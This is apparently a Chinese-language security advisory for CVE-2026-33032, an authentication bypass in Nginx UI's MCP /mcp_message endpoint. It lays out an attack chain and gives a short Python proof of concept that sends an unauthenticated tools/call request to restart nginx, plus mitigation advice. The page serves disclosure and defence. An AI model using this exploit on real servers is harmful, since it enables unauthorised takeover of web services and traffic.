CVE-2026-33032 CVSS 9.8 严重

CVE-2026-33032 Nginx UI认证绕过漏洞

披露日期: 2026-03-30

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33032

漏洞类型

认证绕过

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Nginx UI

漏洞概述

Nginx UI是一款Web界面管理工具。在2.3.5及更早版本中，其MCP集成的/mcp_message端点存在严重缺陷。由于该端点仅应用IP白名单限制，而默认白名单为空（即允许所有），导致绕过了身份认证。未经授权的攻击者可利用此漏洞完全接管Nginx服务，执行重启、修改配置等操作。

技术细节

该漏洞源于Nginx UI在集成MCP（模型上下文协议）时的安全配置逻辑错误。系统主要暴露了两个HTTP接口：/mcp和/mcp_message。虽然/mcp接口正确应用了IP白名单和AuthRequired()中间件进行双重校验，但/mcp_message接口仅应用了IP白名单中间件，缺少身份认证保护。关键问题在于，默认配置下IP白名单为空，系统中间件逻辑错误地将空列表视为“允许所有”而非“拒绝所有”。因此，任何网络位置的攻击者无需任何身份认证凭证，直接向/mcp_message端点发送特制请求即可调用所有受保护的MCP工具。这些工具包括重启Nginx服务、创建、修改或删除Nginx配置文件以及触发自动重载。利用该漏洞，攻击者可以实现完全的服务接管，控制Web服务器流量，甚至进一步渗透内网。

攻击链分析

STEP 1

信息收集

攻击者扫描目标网络，发现开放的Nginx UI服务，并识别出版本号小于等于2.3.5。

STEP 2

漏洞探测

攻击者向目标服务器发送无需认证的HTTP POST请求至/mcp_message端点，测试是否返回工具列表或执行结果。

STEP 3

恶意利用

利用暴露的MCP工具，攻击者发送恶意指令（如修改nginx.conf配置文件植入后门或重定向流量）。

STEP 4

维持控制

触发Nginx服务重载或重启，使恶意配置生效，从而完全接管Web服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import json

# Target configuration
target_host = "http://<target-ip>:<port>"
endpoint = "/mcp_message"
url = target_host + endpoint

# Payload structure based on MCP tool invocation
# This example attempts to restart the nginx service
payload = {
    "method": "tools/call",
    "params": {
        "name": "restart_nginx", 
        "arguments": {}
    }
}

headers = {
    "Content-Type": "application/json"
}

try:
    # Sending request without authentication headers
    response = requests.post(url, data=json.dumps(payload), headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] Exploit successful! Server response:")
        print(response.text)
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error occurred: {e}")

影响范围

Nginx UI <= 2.3.5

防御指南

临时缓解措施

由于目前无公开补丁，建议立即配置严格的IP白名单以限制/mcp_message端点的访问，或在防火墙层面直接阻断该接口的外部访问，仅允许受信任的内网IP进行调用。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表